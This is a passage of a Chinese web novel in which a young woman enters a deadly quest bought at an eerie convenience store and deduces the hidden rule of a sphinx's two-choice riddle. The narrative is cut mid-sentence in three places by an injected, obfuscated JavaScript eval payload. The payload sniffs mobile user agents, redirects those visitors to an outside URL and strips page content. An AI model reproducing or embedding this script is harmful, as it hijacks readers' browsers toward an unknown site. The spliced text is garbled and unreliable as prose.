《无限任务贩售中》 1. 妖兽的选择题1 “欢迎光临,请问有什么可以帮到你。”一道温柔的女声落在小满耳畔,她抬眼望去,收银台后一名身穿浅蓝色围裙制服的盘发女人正冲她微笑。 小满定定地看着女人,并不言语。 这家便利店的老板很抠门,只请了两个兼职的大学生当牛马一样使唤。那两个大学生都是男生,怎么今天店里忽然多出了个女店员?难道是老板良心发现,多招了一个人? 想到这,小满巡视的目光再次扫过女店员的脸。片刻后,她低垂着眼睫,掩盖自己内心的复杂情绪。 她发现自己居然记不清这个女店员的样貌。 自己不是个脸盲的人,连那两个店员脸上有几颗痣都记得一清二楚。而面前的女店员五官一样不少,但要小满想出一个形容词,她却说不出来。 明艳?寡淡?甜美?英气?小满越是努力回想,她的面容在自己的脑海中就越是模糊不清。 她很确信,自己遇上了什么诡异的事件。 小满转身欲走,她的手刚搭在把手上,女店员温柔的声音从她的身后飘了过来,仿佛正贴着她的耳朵轻柔私语:“请问您真的不买点什么东西再走吗?” 那再寻常不过的话语,小满却从中听出了一种“如果不买点什么自己真的会死”的感觉。 她深吸一口气,笑着转过身,四下打量着面前的场所,“你这么一说,我好像确实有想买的东西。让我再好好看看吧。” 女店员脸上的温柔笑意不减,“好的,有问题请您咨询我,我会为您提供帮助。” 面前的便利店不是自己常去的那家。这里有一个篮球场那么大,地板与墙裙同色,是干干净净的鱼肚白瓷砖。墙壁刷着天蓝色清漆,还有几朵壁画小白云做点缀。不知镶嵌在天花板哪里的音响正在播放舒缓的轻音乐,悠扬动听。落地窗一侧是一整条浅棕色的休闲吧台,摆放着几个同色系的高脚椅。 覆着一层薄霜的冰柜冒着森森冷气,白色货架分为两列,整整齐齐地排列在冰柜前方。最靠近收银台的一侧放着几台熟食架,上面还贴心地打着暖黄的灯光。无论是熟食架,冰柜里还是普通货架上,都整齐地摆放着不同大小,不同颜色,相同形状的膨化食品袋子。 打眼一看,确实算得上一家“便利店”。 小满找了个远离收银台的高脚椅坐下,悄悄拿出了手机。不出意外,手机像块废铁,无论怎么点击都是黑屏状态。 “您目前还不是本店的会员呢,无法使用本店的APP,”女店员不知何时来到了小满身边,微笑着向她伸出手讨要手机,“我来为您注册会员吧。” 女店员接过小满手中的手机点按几下,屏幕上划过一道浅蓝色的光,几个俏皮的电子音响过后出现了一个白底的输入框。 “请在这里输入您的昵称,如若跳过,则自动登记为您的真实姓名。”女店员微躬着身子将小满的手机双手呈上。 实名上网和裸奔有什么区别?虽然不知道这里算不算互联网,但她还是不假思索地打上了小满二字。 她的手指悬停在确认键上方,“你们有什么违反了就会死的条例吗?这些都是明文标注出来的吗?” 女店员微微一笑,答道:“假如您有不恰当的违规行为,本店会及时予以沟通,请您不必担心。但若您执意为之,后果自负。” 小满悬停的手指点了下去,屏幕闪烁几下,出现了一个白色的界面。底部的菜单栏有两个功能选项,一个是便利店,另一个是联系人。 联系人一栏除了自己,就只有一个名叫“店员”的人,那个对话框点开后一片空白,无法发送任何消息。小满点开自己的名字,一个简洁的页面跳了出来。小满两个宋体字的下方有一个透明长条,长条下只标注着两行字: 会员等级:0,积分:0/100 便利店页面的最上方有一个搜索栏,现在还是灰色的,怎么点击都没有反应。 搜索栏下方的显示页面就像常用的外卖软件,左侧图片右侧名称简介,奇怪的是,每个商品都标注着限购1件。有一些商品的名称前还加了雪花和火焰的小表情,不过现在都是灰色的缺货状态。点开查看详情,就会出现商品的详细信息。商品的简介上有晦涩难懂的专业术语,也有耳熟能详的童话故事,小满翻看几个就没了兴趣。 她站起身,随意拿了一个商品向收银台走去。 女店员扫描过包装上的条形码,叮咚一声,小满眼前突然出现了一个面板。女店员在一旁讲解着:“妖兽的选择题,好评率:21%,热销程度,5颗星。注:本商品有隐藏内容。若您确认,请付款,售价您的生命。” “生命?”小满掂着手中的包装袋,“用生命当作交易的货币?” 女店员给予了肯定的答复,“是的,购买后会自动使用,使用成功除了奖励的会员积分,还可享受全款返还促销策略。” 一句话让小满茅塞顿开:在这个便利店里选任务,出门就开始做任务。任务成功有奖励,任务不成功就会死。不买东西会死,买了东西也不一定能活,这家店真是把“黑”这一个字诠释到了极致。 但很明显,这里没有她讨价还价的余地。 小满点点头,“就买这个了。” 支付成功的电子音响起,女店员双手递上那个土黄色的包装袋,“恭喜您购买成功,这是您此次选购的商品,请拿好,欢迎下次光临。” 一个比巴掌大不了多少的土黄色包装袋上印有几个烫金字:妖兽的选择题。光凭这几个字推测,像是某种二选一的智力题。 小满轻轻晃了晃,袋子随着她的动作发出沙沙的响动,似乎里面确实有什么实物。 她捏住一侧的锯齿边就要撕开,眼前却突然出现了一个白色面板,上面只有一句话:请离开便利店后再打开包装。看来这就是女店员所说的“沟通”了。 小满适时地停下了手中的动作,推门而出。 一阵令人不适的失重感过后,小满从恍惚中回过神,发现自己正身处一片漫漫黄沙之中。 举目四望,连绵的沙丘一望无际,死寂的沙海仿佛凝固的金色岩浆,炙烤着处在其上的所有人。 小满的突然出现没有在这里激起一点水花,有的人只是好奇地看了一眼后就扭过头去,有的人甚至头都没抬,专心地和其他人说着什么。 “这怎么还不开始,任务呢?那娘们骗人的吧?”一个留着寸头的短袖男子揩了一把脸上的汗,骂骂咧咧地说道。 一个戴着眼镜的中年女人汗如雨下,她用衣袖仔细地抹着脸上的汗珠,小声地劝着:“可能人还没来齐,再等等。” 寸头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165942|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男子像个炮仗,一点就着,他愤怒地挥舞着手臂,“等等等,等个屁!等太阳把咱们烤成人干,到时候一个人也出不去!” “妈的,本来就烦,你还在这逼逼赖赖话这么多!”一个穿着篮球队服的青年男子上前一把抓住了寸头男子的衣领,“你要是急就走呗,那边躺着的俩人不是给你做过示范了?” 小满顺着青年男子手指的地方看去,呼吸一滞。离人群有一段距离的空地上卧着两个血肉模糊的条形物体,看来这就是青年男子口中的“两个人”了。 青年男子的话或许起到了一定的震慑作用,寸头男子的气焰一下弱了下去。他低头退了回去,嘴里却还在不干不净地嘟囔着什么。青年男子年轻气盛,还想再追上去让他闭嘴,另两个穿着同色队服的队友上前,半拉半架地将他拖了回去。 沙海又恢复了寂静。 小满悄悄退到人群外围,找了个僻静的地方理清思绪。 她原本只是想出来找点夜宵吃,在睡衣外头披了件长袖卫衣就出门了。此刻的她除了一部变成板砖的手机和一串钥匙,就只剩下刚从便利店买的土黄色包装商品了。 小满用手指描摹着钥匙上的Q版动漫人物吊坠,把玩一会儿后将它妥善地收回到口袋中。 她四下打量着面前宽阔的场地:这里一共有四十九人,有头发花白,行动都颤颤巍巍的老人,也有背着一个保温瓶,头戴小黄帽的小学生。在场的这些人几乎涵盖了所有年龄段与各个职业,便利店会员的挑选似乎是随机的。 在场的一大半人都拿着相同型号的便签本和中性笔,有心态好的甚至在用便签纸折纸鹤玩。 小满想起刚才拿到的包装袋,马上上手撕开。果然,包装袋里有一个便签本和一支黑色中性笔。二者上皆没有多余的字或符号,就是随处可见的普通文具。她将两样东西塞到外套口袋中,原地伸了个懒腰。 边缘的黄沙突然毫无征兆地裂开,下陷成一道深深的裂谷。小满一个重心不稳,眼看就要后仰着跌入其中。 电光火石间,她的手腕被一人紧紧攥住。那人用力一带,小满被他拉扯回来,又因为惯性狠狠跪在粗糙的沙地中。 “你还好吧?” 小满闻声抬起头,与半跪在她面前的男人对上了视线。 面前的男人看起来很年轻,他散开的领带随意地搭在脖子上,解开三颗扣子的衬衣前襟处弥漫着一股烟酒与香水的混合气息,浓得呛人。他像是一个从娱乐场所的狂欢中偷跑出来开小差的人,因为他神色正常,眼神清明,不像是醉酒的模样。从他的举动来看,他或许是个热心的好人。 那个男人见小满不说话,只是沉默地看着他,不由得放缓声音,又问了一遍:“这位小姐,你还好吧?” “谢谢你,我没事——”小满的应答戛然而止,膝盖处传来的刺痛让她倒吸了一口凉气。 沙地上突兀地刺出一截白色的骨头碎片,尖锐的碎片划过她的膝盖和小腿,留下一道十几厘米长的,血肉模糊的划痕。她稍微一动,血就争先恐后地涌出,将小腿染红。 “是我没注意地面,我太着急了……”男人看着她腿上深可见骨的划痕,满脸歉疚。 小满摇摇头,向他展示自己友善的微笑,“谢谢你拉了我一把。对了,你有手帕或者纸巾吗?” 2. 妖兽的选择题2 男人快速翻找着搭在胳膊上的西装外套,掏出一包纸巾,“我有这个,可以纸巾简单包扎一下。” 蜜桃味的纸巾上印着可爱的卡通桃子图案,这是最近一部大火的番剧联名款,也是自己钥匙吊坠上的图案出处。小满不由得又看了眼男人。 在简单处理了一下膝盖上的开放性伤口后,小满在男人的搀扶下艰难起身。 方才的异变形成的环形裂谷让众人所处的地块形成了一个孤立的圆台,除非长了翅膀,不然无法飞跃圆台外又深又宽的沟壑。 小满环顾四周,默默数着人数。这里还有四十七人,看来那两个人可能像自己一样,站在比较边缘的位置,但是没有好心人拉住他们。 剩下的人像鹌鹑似的挤在中心,唯恐圆台的边界再次坍缩。 一块弧形石碑沿着圆台的边界轰隆隆升起,石碑的表面被风沙侵蚀得不像样,残破得看不出本来的面目。巨大的石碑足足有五六层楼那么高,它遮蔽着毒辣的阳光,在圆台上投下一道长长的阴影。而在石碑出现的同时,圆台中出现一道笔直的凹陷,将整个圆台一分为二。 还没等小满眯着眼睛看清石碑,一阵不知从何处传来的歌声由远及近,吸引了众人的注意力。歌声只由几个简单的音节构成,那声音尖锐高昂,像是野兽尖利的嘶吼。 “谁,谁在唱歌?”一名年轻女子吓得瑟瑟发抖,她止不住地抬头张望,妄图寻找声音的来源。 方才暴怒的寸头男子像是要给自己助威似的,大声喊道:“我看是在太阳底下晒得久了,大家耳鸣了,什么歌声,我看就是耳鸣的噪音!” 显然,众人对他的回答不买账。忽然,有人惊呼一声:“在下面!歌声是从下面传上来的!” 几个胆大的人靠近了圆台的边界,正要俯身往下看,刹那间,一双遮天蔽日的羽翼从石碑后展开,像围栏似的将整个圆台抱入怀中。□□的羽翼上覆盖着一层棕灰色的羽毛,光滑油亮,紧密地排布在一起。 “是鹰吧?感觉羽毛的颜色挺像的。不过真的有这么大的鹰吗?”扶着小满的男人仔细地打量着面前一双巨大的羽翼,啧啧称奇。 小满低着头打量自己膝盖的伤口,随口答道:“肯定不是鹰,至少我没见过会唱歌的鹰。” 不经意间,她的余光瞟到了不远处的地面,不知道是不是自己的错觉,她总觉得石碑的影子变长了。 小满顺着石碑的阴影缓缓抬头,与一张巨大的脸不期而遇。 石碑上方突兀出现的人头有两层楼那么高,看面相,那个人头大约是女性。几缕与羽翼同色的棕灰色长发从她的脸颊垂落,蜿蜒盘踞在石碑与前方的地面上。不知道是不是画了眼线的缘故,她的眼睛看起来又细又长,镶嵌在眼眶中的棕黄色的瞳仁闪烁着独属于肉食动物的狡诈阴险的光。女人微微张着长满森森白牙的嘴,扯出一个诡异的微笑,饶有兴致地注视着圆台上的人。 许多人有意无意间也发现了她,人群像是被人按下了暂停键,霎时间安静下来。片刻后,人群中央爆发了尖锐的哭叫声,大家一改之前缩在圆台中央的策略,四散逃向圆台外围,试图离那石碑和女人远些。 “早知道我就乖乖待在包厢里了,谁知道出来透透气能遇见这种破事……” 小满听见男人的嘟囔,忍不住抬头看了他一眼。男人的脸色难看极了,他死死盯着石碑上的女人,努力控制着自己不露出过于慌乱的表情。 “这是什么?”小满看见男子抱着的西装口袋里露出了半截蓝色丝带,好奇地伸手一指。 男子一愣,顺着她手指的方向看去,伸手勾起那条蓝丝带,“这是我的工牌。” 工牌上贴着男人的一张蓝底证件照,照片上的男人不苟言笑,和低声同自己说话的男人简直判若两人。照片下面有两行小字:销售部专员,凯文Kevin。 “你好,我叫小满,就是二十四节气那个小满。”小满咧嘴一笑,冲凯文打招呼。 凯文不明所以,但还是礼貌地笑了一下。不知道是不是被面前的女生打过岔的缘故,凯文再看向那个诡异的女人脸时,竟没有之前那么害怕了。难道她是故意和自己搭话,分散自己的注意力,让自己冷静一点的? 凯文扶着自己的手不抖了,他低垂着眼,不知道在想些什么。 小满见状长舒了一口气。 彤彤和自己说过,要友善对待帮助过自己的好人,凯文大概就是彤彤描述的“看起来很正常,很善良,很乐于助人的人”,所以,她乐意帮凯文做些什么有积极意义的事,就当是报答一下他的救命之恩。 当然,如果他听话一点,能让自己试验一下富兰克林效应的真实性就再好不过了。 “大家静一静,听我说——”一个戴着细边眼镜的女子站到居中的位置,大声喊着,“这个怪物大概是埃及的斯芬克斯。斯芬克斯鹰翼狮身人脸,喜欢用谜题向路过的人提问,猜不中的就会被她吃掉。现在谜题还没开始,她是不会伤害我们的!只有团结起来答对她的问题,我们才有活下去的希望!” 女子妆容精致,藏在镜片后的眼睛炯炯有神,身上穿着一套裁剪精致的女士西裤套装,像上层的精英人士。她强大的气场很有说服力,四散的人群慢慢向着中间聚拢,众人皆一瞬不瞬地盯着斯芬克斯,静待她的下一步动作。 斯芬克斯的嘴角突然勾起一抹嘲弄的笑,她环视圆台一圈,随后口吐人言:“我准备了三道题,每道题给你们两个答案,三道题都选对的人活着离开。两个答案的选择人数不可相等,任意一个答案的选择人数不可为零。” 斯芬克斯说完便不再继续开口,她缓慢地眨动着棕黄色的眼睛,用冰冷的视线扫视在场的所有人。 小满听完她的话便沉思了起来:做选择部分的说明简单明了,但那两条附加的条例是什么意思?如果两边人数相等,或者一边没有人,那么就是无效选择,在场的所有人都会死? “就这么简单吗?不是说有隐藏的题目吗?在哪?”一道低冷的男声突兀地打破了这片寂静。 小满看向说话的男生,了然地一挑眉:这就是她之前注意到的相当沉着的人。 那个男生站得离斯芬克斯很近,他漫不经心地摆弄着手中的纸鹤,坦然得像是课间拿着习题簿找老师做解答的学生一样。 斯芬克斯似笑非笑地看着他,“每道题只需从我准备好的两个答案中选择一个,这就是规则。隐藏题目只留给活下来的人,你现在还不配知道。” 话音刚落,她尖啸一声,众人面前唰地一下出现一张微缩的石盘。圆形的石盘中央有一道线将石盘分成左右两部分,其上放着几十颗小小的石头。 “现在是演示时间,”斯芬克斯舔舔嘴唇,慢条斯理地说道,“我不希望在正式开始时有不遵守规则的人出现。” 小满和凯文慢慢移动到石盘附近,看着斯芬克斯口中的“演示”。 巨大的弧形石碑上仿佛出现了一只无形的手,正用凿子和刻刀刻字。伴随着石头碎屑摩擦时发出的刺耳噪音,眨眼间,第一个问题浮现在众人眼前:光明,预言,音乐和医药之神阿波罗,他所钟爱的乐器是里拉琴还是竖琴? 问题出现后,小圆盘左右两侧的地面上分别出现了里拉琴和竖琴的字样。与此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165943|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同时,问题的下方出现一行数字,120秒的倒计时开始了。 说来也巧,小满最近才因为种种原因了解过一部分希腊故事,现在听到斯芬克斯的问题,简直倍感亲切。 小满快速地过了一遍自己知道的希腊故事,注意力又回到了小圆台上,她问凯文道:“你知道答案吗?” 凯文无奈地耸耸肩,“不知道,我大学学的是工商管理,选修的课也和文学沾不了一点边。” “那要是非让你选一个呢?” “选竖琴吧,一听就感觉很高贵,正好配阿波罗。” 他们说话间,小圆盘上的石头像是有了生命般不断地移动着。它们在圆台的左右两侧跳来跳去,像是正在犹豫自己的选择。终于,在倒计时结束前,它们草草选定了自己的位置。 一眼看过去,左右两边的小石头数量差不多,大约是是均等分开的样子。 斯芬克斯狂笑着公布答案,她的笑声又尖又利,“是里拉琴!” 随着她的话语,位于右侧写着竖琴的半圆地面上的小石头咔嚓一声脆响,碎成了一片齑粉。 “幸好只是演示,不然我第一道题就要死了……”凯文盯着圆台,面色凝重。 还没等众人从“选错就要这样被压碎死掉”的恐惧中回过神来,120秒的倒计时过后,斯芬克斯的下一道题准时出现。 第二个问题是,希腊语中与彩虹同义的鸢尾花,创造者是阿芙洛狄忒还是伊里丝? “阿芙洛狄忒就是维纳斯,维纳斯有创造过鸢尾花吗?她创造过玫瑰,至于其他花……”小满眉头轻蹙,小声和凯文交谈着。 “我只记得断臂的维纳斯和黄金分割比例,”凯文想了想,又说道,“对了,我记得我高中老师说过,在题目中将关键直接点出来的句子往往起误导作用。既然这鸢尾花和彩虹挂钩,一看到彩虹就会想到美神维纳斯吧?那我选那个没听过名字的伊里丝。” 小圆盘上剩余的小石头再次动了起来,两边的数量相差不大,又几乎是五五分。 “答案是伊里丝!”斯芬克斯公布了答案,和上次一样,选择阿芙洛狄忒的小石头们落了个粉身碎骨的下场。 在第二个问题结束后的120秒空档,小满仔细回想着目前出现的两个问题,试图发现它们之间的相关性。斯芬克斯的问题似乎都与希腊神话相关,但两个问题和它们答案之间的关系太浅薄,就像是单纯地根据希腊神话故事节选出来的似的。 难道演示的题目都是障眼法不成? 刺耳的摩擦声再次响起,演示来到了最后一道问题。小满聚精会神地盯着石碑上錾刻下的笔迹,寻找毛线团上露出的那个线头。 最后一道问题出现的刹那,小满不由自主地做了个深呼吸。题目是,普罗米修斯被火神锁在高加索山上,宙斯派鹫鹰还是乌鸦每日去啄食他的内脏。 她清楚地知道这道题的答案,是鹫鹰。 普罗米修斯的故事传播度很广,就连课本上也有描写他的篇章。小满还记得自己学到这篇课文时自己脑补过的普罗米修斯被开膛破肚的画面,所以印象十分清晰。 “是乌鸦!” 斯芬克斯一锤定音,随着最后一声碎裂的脆声响过,整个圆台上只留下了五颗小石子。 小满脸上的笑容忽然变得微妙。 答案为什么是乌鸦? 她难以置信,赶紧又看了眼圆盘,剩下的石子所在的圆台上确实有着乌鸦二字。 但这是荒谬的,因为自己不可能记错,啄食普罗米修斯内脏的一定是鹫鹰! 但为什么选择鹫鹰的石子死掉了? 3. 妖兽的选择题3 “你们可以休息两分钟。”斯芬克斯收回小圆盘,合上了那双狡诈的黄瞳。她将头搁在石碑上,一动不动,好像安安静静睡着了似的。 烈日曝晒下,众人死气沉沉,一时间周围只有风吹砂砾的呼啸声。 最先说话的还是那个戴细边眼镜的精英女人,她推了推眼镜,声音洪亮:“如果只是单纯的杀戮,那么我们早就应该被斯芬克斯吃掉了,何必多此一举,让我们在这里做什么二选一的选择题?我们不同职业,不同年龄,不同经历,问题的答案肯定和在场的人有关,只要大家互相讨论,集思广益,肯定能找出正确答案,大家都能活下来!” 小满一心二用,一边听着那女人的话,一边用包装袋中赠送的纸笔写写画画。 精英女人的想法是不错,但不一定行得通。大家还沉浸在怪物的震慑,陌生环境的恐慌中,要让四十几个各怀心思的人暂时合作,维护人际关系的平衡需要很多精力,两分钟说不定连个开头都讨论不出来,只会白白浪费时间,一点也不划算。 精英女人话音刚落,之前那个毛毛躁躁的寸头男人立马跳了出来。 他指了指方才斯芬克斯放置小圆盘的地方,大声反驳:“咱们都不知道那个女人模样的怪物会出什么题目,你怎么确定我们当中会有人知道答案?不如就跟那个石盘上的石头一样,大家平均分成两队,各选择一个选项。生死有命富贵在天,选错了的别后悔,选对了,还能有几个运气好的活到最后。” 得了,这位简单粗暴的主意更是重量级。 还没等小满暗自吐槽完,之前那个和寸头男子杠上的篮球服青年立马站了起来。 他轻蔑地瞥了寸头男人一眼,随后拉着他的两个好兄弟站到了精英女人身后,“你是说,在场的大伙非得把命放在那每道题百分之五十的概率上?就靠纯蒙?我们哥几个都不信运气这种看不见摸不着的东西,还是她的提议靠谱,人命得攥在自己手里。” “是啊,要是不仔细思考就草草做下决定,我就是死了也会在底下后悔的。”另一个篮球服青年顺势说道。 有了他们三个的话给精英女人拉票,不少人犹豫一番,还是赞同了大家一起讨论的做法,精英女人的队伍壮大起来。 他们围坐一圈,七嘴八舌地讨论着彼此的身份和斯芬克斯可能会出的问题。 “咱们也过去吧?”凯文看了看围坐的众人,向小满提议。 小满头也不抬,“我不太喜欢人多的地方,你如果想过去的就过去,不用担心我,我可以单脚蹦着走。” 没想到凯文犹豫了片刻,居然站着不动了,“算了,我还是和你一起吧。你腿受伤了,单脚蹦着也不方便。” 小满写字的动作顿了顿,她合上手中的便签本,严肃道:“事关生死,你不用为了迁就一个下一秒就不知道是生是死的人而改变自己的想法。如果你选择和我一起,结果因为我的选择的原因,你没有活到最后,你会骂我吗?你会埋怨我吗?你会和我说‘要不是为了照顾你我选另一个回答就活了’这种话吗?我觉得你还是慎重考虑一下吧。” 凯文被小满不加修饰的诘问问得一愣一愣的,他摇了摇头,“我没有这种想法。问题大都在绝大多数人的知识范畴之外,运气够好才能选择正确的选项,侥幸存活。反正我横竖都有可能死,倒不如看开点,帮人帮到底好了。我既然做了这个选择,就不会后悔,更不可能出现埋怨你的行为。” 末了,他还小心翼翼地补充上一句,“一切都是我自愿的。” 听到这些话,小满才放心下来。她伸手示意凯文坐到自己身边,随后继续处理自己一直很在意的演示问题。 演示过程中途有休息的时间,小满已经将整场演示完完整整地复刻到了本子上。 第一个是阿波罗问题,阿波罗喜欢的是里拉琴,自己和凯文都不清楚答案。这一场死了二十四颗石头,剩下的活到了第二个问题。 第二个是鸢尾花问题,伊里丝创造了鸢尾花,凯文凭借上学时蒙的技巧凑巧选对了。这一场死了十二颗石头,剩下的活到了第三个问题。 第三个是啄食内脏问题,是鹫鹰啄食了普罗米修斯的内脏。自己明明知道答案却没选对,最后,死了六颗石头,剩下的活到最后,成功通关。 小满将“鹫鹰”二字圈出,用黑色中性笔在下面划出一道道粗长的黑线。 她的记忆绝对没出问题,那么一定是答案出了问题。 但是为什么?为什么鹫鹰是错误答案呢?难道斯芬克斯所知悉的希腊神话和她记忆中的希腊神话有出入吗?又或许是斯芬克斯的答案与现实世界相反,难道阿波罗真正喜欢的是竖琴,阿芙洛狄忒创造了鸢尾花吗? 总而言之,这是个只要根据记忆和知识认真作答就会输,死活全凭运气的任务?那这个任务实在是太荒谬了,和早上进公司因为先迈的是左腿而被开除一样荒谬。 “三道题,每道题两个答案,从准备好的两个答案中选择一个,两个答案的选择人数不可相等,任意一个答案的选择人数不可为零,三道题都选对的人活着离开,这就是规则。”小满用笔尖在纸上点点画画,低声重复着这几句话。 选对? 一道灵光瞬间击中了小满,她似乎猜到了斯芬克斯的真实意图。 斯芬克斯只是让他们“选对”,而不是“选择正确答案”。后者依靠客观事实进行判断,前者则比较模糊,说不定只是依靠斯芬克斯的主观判断。也就是说,虽然有的是事实,但如果作为选项出现,它不一定是正确的答案。 想通了这一点,小满再次看向演示的三道题目。这一次,她不再纠结选项,而是将注意力集中在做选择的小石头上。 第一个问题死了大约一半的小石头,有二十三颗存活。到了第二个问题,变成了十一颗石头存活。最后一个问题过后就只有五颗石头了。 将石子数量和每道题的选项一一对应,小满有了个惊人的发现:被斯芬克斯判定为错误的答案,竟然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165944|138845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是人数较多的一方! 斯芬克斯在演示中维持几乎均分的情况,又在做出判定后迅速抹杀掉另一侧的小石头,原因只有一个,那就是搅乱众人的视线,造成石头是因为选择错误而死掉的假象,遮掩少数存活这一规则。 她擦了把滑落至下颌的汗,面色凝重地盯着纸上的结论。 如果是选择人数较多的一方死亡,那么之前她觉得有些奇怪的条例也说得通了。 两个答案的选择人数不可相等,任意一个答案的选择人数不可为零,这两条附加条例都是在分流做选择的人。只要确保一定会有一边多一边少的情况发生,斯芬克斯就可以根据多数死掉,少数存活的规则决定“对”的那方。 但她的行为,似乎和自己所认识的那个“斯芬克斯”有所出入…… 小满已经为自己解答了大多数疑惑,但她的神色却没有轻松半分。 这些结论只是自己的推测,实际是否真的如自己预料那般还要等正式开始后才能验证。但如果规则真的是自己推测的那样,即选择人数多的那一方失败,那么目前混乱的情况只会变得更糟糕。 她目前还没看到因为起暴力冲突而被便利店规则制裁的人,所以对有没有“任务过程中禁止暴力行为”这一规则存疑。 假如抱团的那些人中有人和自己一样推算出这个游戏的规则,采取将其他人打晕后拖到和他们相对的一侧,手动做出多寡选项,用暴力手段达到通关目的的话,那么除他们之外散兵游勇,比如自己和凯文一类人,毫不意外地将成为第一批牺牲品。 所以,与任务规则相关的信息越晚暴露对自己越有利,自己现在能做的,就是根据密切观察有可能已经发现了规律的人,然后在他们阐述观点时质疑他们,打断他们的思路。 精英女人的团队聊得火热,甚至时不时传出几声轻松的调笑。小满着重观察了一下那些笑得最轻松的人,在确认他们只是缓解压抑气氛的气氛组后暗自松了口气。 她收获了第一个好消息,看来在大多数人中还没有发现规律的人。 她又将目光投向零零散散坐在其他地方的人,特别是眉头紧皱,正在拿着纸笔写写画画的。他们有的用拳头不住地砸着自己的额头,仿佛是在用物理方法解决自己的大脑断触,有的紧咬着下唇,烦躁地转着手中的笔。 看来他们已经意识到了些许不对劲的地方,但出于各种原因,无法准确地描述出自己的心中所想。 小满看了一圈,正要收回目光,视线却又被一人吸引。 那个纸鹤男生还在叠纸鹤玩,最开始的那一只的身边又出现了两三个同伴。纸鹤男生似乎对于视线很敏感,他抬起头,正对上小满探究的眼神,坦然地给小满展示自己手中的那只半成品。 小满嘴角噙着一点笑,向他点头示意,心下了然:他恐怕已经知道规律了。 石碑上的倒计时归零,预示着最后和平时间的消逝。 与此同时,斯芬克斯睁开了眼睛。 4. 妖兽的选择题4 斯芬克斯的眼角眉梢都盛着满溢的笑意,“选择题现在开始,请努力选对吧。” 众人全神贯注地紧盯着石碑,生怕错过什么细节。 一行字伴随着令人感到牙酸的摩擦声浮现,第一道题为,中央农业出版社于今年一月份出版的《新农业之拖拉机的保养与维护》一书,共有多少页? 左右两侧的地面上各出现了一个数字,288和289。一位数字之差,选错的人却要用生命来弥补。 下方的倒计时已然开启,每个变换的倒数就像一记记重锤,敲打在人们心上。 “靠,你玩我们呢?”人群中爆发出一声暴躁的怒吼,“谁闲得没事会看这种书?” “你要是想让我们死直说,直接来一刀不比这痛快?” “这题究竟是怎么回事?这种无厘头的问题真的属于选择题吗?” 斯芬克斯缓慢眨动着眼睛扫视圆台,并未对众人的质疑做出回应。 除了大声质疑的,更多的人沉默地站在中线上不动,彼此间互相用眼神试探,看来谁也不愿意去当那个最先吃螃蟹的人。 精英女人站了出来,她推了推眼镜,沉声安慰着:“这个问题虽然刁钻,但我们也不一定不知道真正的答案。这位阿姨,你之前不是说自己是农学系的教授来着?那您对这本书有没有印象?” 穿着毛呢外套的阿姨热得汗直流,她掀起衣袖不断擦拭着自己汗湿的脸,低声嗫嚅着:“我一年要看多少本书?这本又不是我们系的必修书目,我哪记得清呀?” 见阿姨支支吾吾说不出来话,精英女人果断转向另一个老汉,直截了当地问道:“大爷,您是城郊蔬菜基地的农械保养员,您知道这本关于拖拉机的书吗?” 老汉唉声叹气,急得脚直跺,“姑娘,实不相瞒,我这么大年纪做到这个位置凭的是几十年的经验,平日里哪里会看这种书唷!” 就在这时,一个弓着腰的中年瘦弱举着手站了出来。他脸色蜡黄,好像一阵风就能吹跑似的。与精英女人目光对视的瞬间,他似乎是被对方身上的气势震撼到,微缩了下脖子。 “我,我好像知道答案。”他声音不大,一开口,却吸引了在场所有人的注意力。 精英女人像是看见了救命稻草,她眼睛一亮,快步走上前抓住了男人的麻杆胳膊:“没事,你把答案和为什么得出这个答案的经过说一下,剩下的我们自己定夺。” 瘦弱男子咽了口唾沫,艰难开口:“我是一家,一家呃,工厂的员工,人手不够的时候也替厂里做点校对工作。这本书虽然新,但,但是成了某所大学的必修课用书,所以大家得加班加点地核对,送到工厂把这本书打印出来。我是这本书的校对员,虽然不知道页码,但我记得这本书最后有字的一页在左手边。左边的页码是偶数,所以,这本书应该有288页。” 此话一出,大家热泪盈眶:果然,斯芬克斯不会出在场的人认知以外的题目。 精英女人眼眶含泪,给了瘦弱男人一个大大的拥抱,“谢谢你,谢谢你!”大家一拥而上,围着瘦弱男人欢呼。瘦弱男人被人挤来挤去,脸上浮现出一抹不自然的微笑。 庆祝过后,众人纷纷默契地站在了显示着288的左侧。但右侧也有几个或是摆烂,或是不相信瘦弱男人答案的人,他们用怀疑的目光打量着左侧,任凭左侧的人如何呼喊,也不过去。 小满一动不动地站在原地,凯文小心地扯了扯她的衣角,“你想去哪边?” “你能听我的话吗?”小满顶着一本正经的表情答非所问,“我的意思是,你可以跟着我选,我觉得我们不会死。” 凯文倒吸了一口凉气,用又惊又疑的眼神将小满上上下下打量了一番,最终还是没说什么,只是沉默地点了点头。 